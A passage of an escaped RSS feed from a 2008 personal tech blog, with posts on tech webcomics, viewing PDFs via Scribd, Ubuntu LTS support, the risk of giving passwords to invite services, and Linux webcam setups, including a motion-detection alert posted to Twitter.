&lt;p&gt;&lt;strong&gt;1. &lt;a href="http://dilbert.com/"&gt;Dilbert&lt;/a&gt;&lt;/strong&gt;: Our friendly neighbourhood engineer is in town. Have fun reading through his daily life&amp;rsquo;s traumas. Of course, his tragedies couldn&amp;rsquo;t be as funny without the able support of the likes of Wally, Asok, dogbert, catbert, and yeah the &amp;ldquo;pointy haired manager&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. &lt;a href="http://xkcd.com/"&gt;XKCD&lt;/a&gt;:&lt;/strong&gt; Don&amp;rsquo;t know if this is the abbreviated form of something but the author calls it a webcomic of romance, sarcasm, math, and language. You&amp;rsquo;d be frowning at your monitor screen right now, trying to understand the relation between these things but you know the saying, There is the biggest order behind the biggest chaos (or something, I just made up that saying just now :-) )&lt;/p&gt;
&lt;p&gt;**3. &lt;a href="http://userfriendly.org/"&gt;Userfriendly&lt;/a&gt;: **This is a story about a small ISP with your regular, average joe, sys-admins having a fun time at the expense of their unsuspecting management and, of course, about Pitr who has bigger plans for world domination than even google.&lt;/p&gt;
&lt;p&gt;**4. &lt;a href="http://www.cad-comic.com/"&gt;Ctrl+Alt+Del&lt;/a&gt;: **Your last resort on Windows is now your daily appetite in the form of this little story about (mis)adventures of a group of nerdy friends who just love to get into trouble, all while playing that game of Halo with one hand (and that too tied behind their backs).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. &lt;a href="http://www.penny-arcade.com/comic/"&gt;Penny Arcade&lt;/a&gt;:&lt;/strong&gt; If you are a gamer, you can&amp;rsquo;t miss this. Even &amp;ldquo;Jack Thomson&amp;rdquo; couldn&amp;rsquo;t, so you know, this one is a keeper ;-).&lt;/p&gt;
&lt;p&gt;So, go and have a nice time and yeah, don&amp;rsquo;t forget to tell me about what are your favourite tech comics.&lt;/p&gt;</content></item><item><title>TIP: Viewing Any PDF Online, Without A PDF Reader And For Free</title><link>https://shantanugoel.com/2008/05/23/tip-viewing-any-pdf-online-without-a-pdf-reader-and-for-free/</link><pubDate>Fri, 23 May 2008 21:42:54 +0000</pubDate><guid>https://shantanugoel.com/2008/05/23/tip-viewing-any-pdf-online-without-a-pdf-reader-and-for-free/</guid><description>&lt;p&gt;Just a small tip. If you want to view a pdf and you don’t have adobe acrobat (or any other pdf reader) installed, e.g., you are sitting in a cyber cage or at a friend’s place, you can still view it.
Only thing you have to do is, just prefix the url to the online pdf with &amp;ldquo;&lt;a href="http://www.scribd.com/vacuum?url"&gt;http://www.scribd.com/vacuum?url&lt;/a&gt;=&amp;rdquo; and you’ll see a nice web interface rendering your pdf without having to install anything on your PC.&lt;/p&gt;</description><content>&lt;p&gt;Just a small tip. If you want to view a pdf and you don’t have adobe acrobat (or any other pdf reader) installed, e.g., you are sitting in a cyber cage or at a friend’s place, you can still view it.
Only thing you have to do is, just prefix the url to the online pdf with &amp;ldquo;&lt;a href="http://www.scribd.com/vacuum?url"&gt;http://www.scribd.com/vacuum?url&lt;/a&gt;=&amp;rdquo; and you’ll see a nice web interface rendering your pdf without having to install anything on your PC.&lt;/p&gt;
&lt;p&gt;e.g.: url to pdf: &lt;a href="http://abc.com/readme.pdf"&gt;http://abc.com/readme.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So final url: &amp;ldquo;&lt;a href="http://www.scribd.com/vacuum?url="&gt;http://www.scribd.com/vacuum?url=http://abc.com/readme.pdf&lt;/a&gt;&amp;rdquo;&lt;/p&gt;</content></item><item><title>Ubuntu: What exactly does LTS mean?</title><link>https://shantanugoel.com/2008/05/20/ubuntu-what-exactly-does-lts-mean/</link><pubDate>Tue, 20 May 2008 21:29:10 +0000</pubDate><guid>https://shantanugoel.com/2008/05/20/ubuntu-what-exactly-does-lts-mean/</guid><description>&lt;p&gt;With the recent release of Ubuntu 8.04 (Hardy Heron), a lot of hype was generated (Overhype or well-deserved, that’s for another post). One of the main highlights of all the stories, news and reviews doing the rounds are that this is an LTS version. But many people, mostly those who are new to Ubuntu, and even a few who are already using it, are not sure what LTS really means.&lt;/p&gt;</description><content>&lt;p&gt;With the recent release of Ubuntu 8.04 (Hardy Heron), a lot of hype was generated (Overhype or well-deserved, that’s for another post). One of the main highlights of all the stories, news and reviews doing the rounds are that this is an LTS version. But many people, mostly those who are new to Ubuntu, and even a few who are already using it, are not sure what LTS really means.&lt;/p&gt;
&lt;p&gt;Literally expanded, it stands for &lt;strong&gt;Long Term Support&lt;/strong&gt;. Yeah right, but what does it actually mean. Does it mean I’ll keep getting updates till eternity or what? The explanation is quite simple really.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Long Term:&lt;/strong&gt; What it means is that while a normal non-LTS is supported for 18 months, an LTS version will be supported for 3 years or 36 months (and 5 years for the server version).&lt;/p&gt;
&lt;p&gt;**Support: **Now, don’t just jump into downloading it and installing on reading the long term part. This DOES NOT mean that you’ll continue getting newer versions of favourite software packages till that time. This only means that you’ll continue getting “security updates” for 3 (or 5) years. What’s the difference, some might ask, as they think that the newest version of a software is the most secure. However it is not so. A newer version may bring more features, but also more code to become vulnerable to bugs.&lt;/p&gt;
&lt;p&gt;So, in a nutshell, to understand the situation, let’s take an example. If Hardy has a software X with version 1.3, and after 2 years the software moves to version 2.5, you’ll not be able to get version 2.5 from the hardy repositories but a version “1.x-ubuntuy”, which will have all the security and major bug fixes for that software, but not the new features that you might see in later versions.&lt;/p&gt;
&lt;p&gt;I just did this post so that people don’t jump into it by getting a wrong impression about LTS and later on be disappointed on learning the fact. So, now you can make an informed decision.&lt;/p&gt;</content></item><item><title>Fill Your Password To Invite Your Buddies - Not So Fast!!</title><link>https://shantanugoel.com/2008/05/16/fill-your-password-to-invite-your-buddies-not-so-fast/</link><pubDate>Fri, 16 May 2008 21:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/05/16/fill-your-password-to-invite-your-buddies-not-so-fast/</guid><description>&lt;p&gt;For the past many years, I’ve seen a trend that has been on a meteoric rise. Whatever new service you sign on for on the internet (especially the web2.0–oh-so-cool-you-have-to-tell-everyone-about-it ones), it gives you an option to fill in your e-mail ID and password and makes a generous offer of letting all your friends know about your new avatar and let them all join in the fun. Most of the people around me, it seems, don’t think twice before gladly accepting the offer, as is made apparent from the increasing amount of automated mails I’m getting with subjects like “Hey, don’t be left out! Join me on X” or “Hi SG, Why don’t you follow me on Y”.&lt;/p&gt;</description><content>&lt;p&gt;For the past many years, I’ve seen a trend that has been on a meteoric rise. Whatever new service you sign on for on the internet (especially the web2.0–oh-so-cool-you-have-to-tell-everyone-about-it ones), it gives you an option to fill in your e-mail ID and password and makes a generous offer of letting all your friends know about your new avatar and let them all join in the fun. Most of the people around me, it seems, don’t think twice before gladly accepting the offer, as is made apparent from the increasing amount of automated mails I’m getting with subjects like “Hey, don’t be left out! Join me on X” or “Hi SG, Why don’t you follow me on Y”.&lt;/p&gt;
&lt;p&gt;I just wanted to “remind” you all (because you already know it) how important your password is. You keep it safe from everyone, suspect even your friends of trying to hack into your e-mail, and then you give it away to an “unknown” entity with so much of ease, laying so much trust onto it that you won’t even put in your biological parents.&lt;/p&gt;
&lt;p&gt;While many of these services are genuine, but many might not be. I’m certainly against handing out your passwords to a third-party web service until it is something like google that won’t just sell you off one fine day and run off somewhere you can’t find it. But if you are compelled to do so because of some reason, I’d recommend atleast checking out what it has to say about the data it’s collecting.&lt;/p&gt;
&lt;p&gt;Let me take an example of a new IM service that I recently came across. It’s called IMO (or imo or whatever) and is apparently quite popular because of its multiple IM service connections through a single interface. I thought of checking out its terms etc and making a mental image of how respectable / trustworthy I found it. I had listed the following things on the blog where I had found about this site. Listing them here again for you.&lt;/p&gt;
&lt;p&gt;Following are the nuggets I found:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; They have a blogspot blog. It takes hardly a few minutes to host ur own blog on ur own domain. Maybe they have some existing google connection but yet to discover it.(I read somewhere that some of these people worked at google in the past but that’s no reason to keep your blog on such a platform)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Shady privacy agreement.
** 2a** They mention that not only will they save ur username and pwd but may also save ur chats/messages etc.
** 2b** They might also share info with 3rd parties (written in a manner that they can do it on their own will)
** 2c** Transparency: They might not even tell u whats going on if they so decide.&lt;/p&gt;
&lt;p&gt;Please don’t mention about the eliteness of their “advisor panel”. This is the biggest marketing gimmick that everyone pulls off. Many times the &amp;ldquo;advisors&amp;rdquo; don&amp;rsquo;t even know the &amp;ldquo;advised&amp;rdquo; company exists.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IMP:&lt;/strong&gt; If a site doesn’t say anything or says all goody things in its terms, that doesn’t make it clean, but if you find suspiciousness in the terms, that definitely makes a negative mark. &lt;strong&gt;In Short, when your password is concerned, treat everyone guilty until proven innocent.&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Keep Tab On Home Security With A Webcam And Twitter</title><link>https://shantanugoel.com/2008/05/14/keep-tab-on-home-security-with-a-webcam-and-twitter/</link><pubDate>Wed, 14 May 2008 04:00:13 +0000</pubDate><guid>https://shantanugoel.com/2008/05/14/keep-tab-on-home-security-with-a-webcam-and-twitter/</guid><description>&lt;p&gt;Worried about someone breaking into your house in your absence? Or just need to keep a tab on who enters your room while you are away? Well, all you need is a webcam, a linux PC/laptop and a twitter account. And you are set for real time updates through twitter about all that goes on at your abode behind your back (can even receive a text message/sms on your phone). Keep reading for the very simple setup you need.&lt;/p&gt;</description><content>&lt;p&gt;Worried about someone breaking into your house in your absence? Or just need to keep a tab on who enters your room while you are away? Well, all you need is a webcam, a linux PC/laptop and a twitter account. And you are set for real time updates through twitter about all that goes on at your abode behind your back (can even receive a text message/sms on your phone). Keep reading for the very simple setup you need.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download and install &amp;ldquo;&lt;a href="http://www.lavrsen.dk/twiki/bin/view/Motion/DownloadFiles"&gt;motion&lt;/a&gt;&amp;rdquo; on your computer. For ubuntu users, this is as simple as running&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install motion
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;
&lt;p&gt;Setup your motion configuration file. (Usually at /etc/motion/motion.conf). There are quite a lot of options available. You might want to tweak it a lot according to ur needs later on but the most important ones that you can begin with are (leave the rest untouched for now):&lt;/p&gt;
&lt;p&gt;a. Add/edit the option &amp;ldquo;target_dir&amp;rdquo; to point to the directory where you want to save the images of the event when motion is detected.&lt;/p&gt;
&lt;p&gt;b. Add/edit the option &amp;ldquo;locate&amp;rdquo; and set it to &amp;ldquo;on&amp;rdquo; so that you get a nice square box around the detected moving object/person.&lt;/p&gt;
&lt;p&gt;c. Add/edit the option &amp;ldquo;webcam_port&amp;rdquo; and set it to, say, &amp;ldquo;8000&amp;rdquo;. Motion includes a mini http server so now, you can use it to view the actual images of the happening when you get the update and check for false alarms.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now, comes the most important part, about getting the update.&lt;/p&gt;
&lt;p&gt;motion has an option called &amp;ldquo;on_motion_detected&amp;rdquo; and here you can specify any command or program that you want to run when motion is detected. To get the update on your twitter account, use one of the following three methods with this option.&lt;/p&gt;
&lt;p&gt;a. Using curl. If you have curl installed in your system, then you can use the following value for the on_motion_detected option:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -u yourusername:yourpassword -d status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Motion Detected! Check Immediately&amp;#34;&lt;/span&gt; https://twitter.com/statuses/update.xml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;b. Using wget. If you don&amp;rsquo;t have curl, you can even use wget with the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget --post-data &lt;span style="color:#e6db74"&gt;&amp;#34;status=Motion Detected! Check Immediately&amp;#34;&lt;/span&gt; --http-user&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yourusername --http-password&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yourpassword https://twitter.com/statuses/update.xml -O /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;c. Using my perl script. If you don&amp;rsquo;t have curl as well as wget, you can even use my perl script (attached below) for this. The value will now be:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/path/to/script/twitter.pl &lt;span style="color:#e6db74"&gt;&amp;#34;Motion Detected! Check Immediately&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Now connect your webcam and start motion (Just type &amp;ldquo;motion&amp;rdquo; on command line and press enter). Wait for someone to break in, or just roam around in front of the camera yourself and have fun as you receive a message on your phone about the &amp;ldquo;motion&amp;rdquo;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PS: For receiving a text message on your phone, you&amp;rsquo;ll need to turn on the &amp;ldquo;Device Updates&amp;rdquo; option in your twitter account, otherwise you need to open the twitter web page to check the status.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The script: &lt;a href="http://tech.shantanugoel.com/resources/downloads/twitter.pl"&gt;Twitter Updating Perl Script&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let me know if you put this to some other exciting uses or have any questions about the method described above.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Script to capture images from webcam and upload them to a server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Author: Shantanu Goel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Email: shantanu.goel@gmail.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;REMOTE_SERVER&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;your.remote.server.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;REMOTE_USER&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;REMOTE_DIR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/path/to/remote/dir&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LOCAL_DIR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/path/to/local/dir&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WEBCAM_DEV&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/dev/video0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WEBCAM_RESOLUTION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;640x480&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WEBCAM_DELAY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fswebcam -d $WEBCAM_DEV -r $WEBCAM_RESOLUTION -D $WEBCAM_DELAY $LOCAL_DIR/webcam.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp $LOCAL_DIR/webcam.jpg $REMOTE_USER@$REMOTE_SERVER:$REMOTE_DIR/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content></item><item><title>Fun With Webcam In Linux</title><link>https://shantanugoel.com/2008/05/12/fun-with-webcam-in-linux/</link><pubDate>Mon, 12 May 2008 03:57:47 +0000</pubDate><guid>https://shantanugoel.com/2008/05/12/fun-with-webcam-in-linux/</guid><description>&lt;p&gt;Did you know that instead of installing special software to view your webcam video, you can simply use mplayer for the same purpose, and with a lot of fine control. e.g. try running the following command with your webcam attached to your computer.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mplayer -fps &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; tv:// -tv driver&lt;span style="color:#f92672"&gt;=&lt;/span&gt;v4l2:width&lt;span style="color:#f92672"&gt;=&lt;/span&gt;640:height&lt;span style="color:#f92672"&gt;=&lt;/span&gt;480:device&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/dev/video0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And you can use mencoder to capture and encode video from your webcam:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mencoder tv:// -tv driver&lt;span style="color:#f92672"&gt;=&lt;/span&gt;v4l2:width&lt;span style="color:#f92672"&gt;=&lt;/span&gt;60:height&lt;span style="color:#f92672"&gt;=&lt;/span&gt;40:fps&lt;span style="color:#f92672"&gt;=&lt;/span&gt;60:device&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/dev/video0 -nosound -ovc lavc -lavcopts vcodec&lt;span style="color:#f92672"&gt;=&lt;/span&gt;mjpeg -o test.avi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Have fun playing with the huge number of options available. You could even cat the test.avi file into a folder of your web server and have instant streaming video :-) .&lt;/p&gt;</description><content>&lt;p&gt;Did you know that instead of installing special software to view your webcam video, you can simply use mplayer for the same purpose, and with a lot of fine control. e.g. try running the following command with your webcam attached to your computer.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mplayer -fps &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; tv:// -tv driver&lt;span style="color:#f92672"&gt;=&lt;/span&gt;v4l2:width&lt;span style="color:#f92672"&gt;=&lt;/span&gt;640:height&lt;span style="color:#f92672"&gt;=&lt;/span&gt;480:device&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/dev/video0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And you can use mencoder to capture and encode video from your webcam:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mencoder tv:// -tv driver&lt;span style="color:#f92672"&gt;=&lt;/span&gt;v4l2:width&lt;span style="color:#f92672"&gt;=&lt;/span&gt;60:height&lt;span style="color:#f92672"&gt;=&lt;/span&gt;40:fps&lt;span style="color:#f92672"&gt;=&lt;/span&gt;60:device&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/dev/video0 -nosound -ovc lavc -lavcopts vcodec&lt;span style="color:#f92672"&gt;=&lt;/span&gt;mjpeg -o test.avi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Have fun playing with the huge number of options available. You could even cat the test.avi file into a folder of your web server and have instant streaming video :-) .&lt;/p&gt;</content></item><item><title>Tip: Getting Your Webcam To Work In Ubuntu</title><link>https://shantanugoel.com/2008/05/10/tip-getting-your-webcam-to-work-in-ubuntu/</link><pubDate>Sat, 10 May 2008 19:17:42 +0000</pubDate><guid>https://shantanugoel.com/2008/05/10/tip-getting-your-webcam-to-work-in-ubuntu/</guid><description>&lt;p&gt;I have an old noname cheapo webcam, that I dusted out of my junk (why? More on that in a post coming soon). I hoped that it would work in my Ubuntu setup out of the box like most of my other hardware. I connected it to my laptop&amp;rsquo;s usb port. dmesg gave the following output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.211333] usb 1-1: new full speed USB device using ohci_hcd and address 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.319698] usb 1-1: configuration #1 chosen from 1 choice
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.439705] Linux video capture interface: v2.00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.458509] zc0301: V4L2 driver for ZC0301[P] Image Processor and Control Chip v1:1.05
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.459113] usb 1-1: ZC0301[P] Image Processor and Control Chip detected (vid/pid 0x0AC8/0x301B)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.520576] usb 1-1: PB-0330 image sensor detected
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.870287] usb 1-1: Initialization succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.870919] usb 1-1: V4L2 device registered as /dev/video0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.871001] usbcore: registered new interface driver zc0301
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.913737] usbcore: registered new interface driver gspca
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.913811] ubuntu/media/gspcav1/gspca_core.c: gspca driver 01.00.12 registered
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Great! Everything set up, I thought. But running various programs, camorama, camE, kopete, everything gave weird errors like &amp;ldquo;Connection could not be made&amp;rdquo;, &amp;ldquo;device not ready&amp;rdquo; or just showed a blank screen. But soon, after  few trial and errors, I found the solution. Basically the &amp;ldquo;zc0301&amp;rdquo; module is the culprit and all you have to do to get your camera working is prevent it from loading. So, this is what I did:&lt;/p&gt;</description><content>&lt;p&gt;I have an old noname cheapo webcam, that I dusted out of my junk (why? More on that in a post coming soon). I hoped that it would work in my Ubuntu setup out of the box like most of my other hardware. I connected it to my laptop&amp;rsquo;s usb port. dmesg gave the following output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.211333] usb 1-1: new full speed USB device using ohci_hcd and address 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.319698] usb 1-1: configuration #1 chosen from 1 choice
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.439705] Linux video capture interface: v2.00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.458509] zc0301: V4L2 driver for ZC0301[P] Image Processor and Control Chip v1:1.05
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.459113] usb 1-1: ZC0301[P] Image Processor and Control Chip detected (vid/pid 0x0AC8/0x301B)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.520576] usb 1-1: PB-0330 image sensor detected
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.870287] usb 1-1: Initialization succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.870919] usb 1-1: V4L2 device registered as /dev/video0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.871001] usbcore: registered new interface driver zc0301
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.913737] usbcore: registered new interface driver gspca
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[21328.913811] ubuntu/media/gspcav1/gspca_core.c: gspca driver 01.00.12 registered
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Great! Everything set up, I thought. But running various programs, camorama, camE, kopete, everything gave weird errors like &amp;ldquo;Connection could not be made&amp;rdquo;, &amp;ldquo;device not ready&amp;rdquo; or just showed a blank screen. But soon, after  few trial and errors, I found the solution. Basically the &amp;ldquo;zc0301&amp;rdquo; module is the culprit and all you have to do to get your camera working is prevent it from loading. So, this is what I did:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo modprobe -r gspca
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo modprobe -r zc0301
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo modprobe gspca
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And voila! the webcam started working like magic. Of course, this tip is only for webcams that use this particular chip. And if you want to make this change permanent so that you don&amp;rsquo;t have to run these commands everytime you want to use your webcam, all you have to do is add the following line to your /etc/modprobe.d/blacklist file&lt;/p&gt;
&lt;p&gt;&lt;code&gt;blacklist zc0301&lt;/code&gt;&lt;/p&gt;
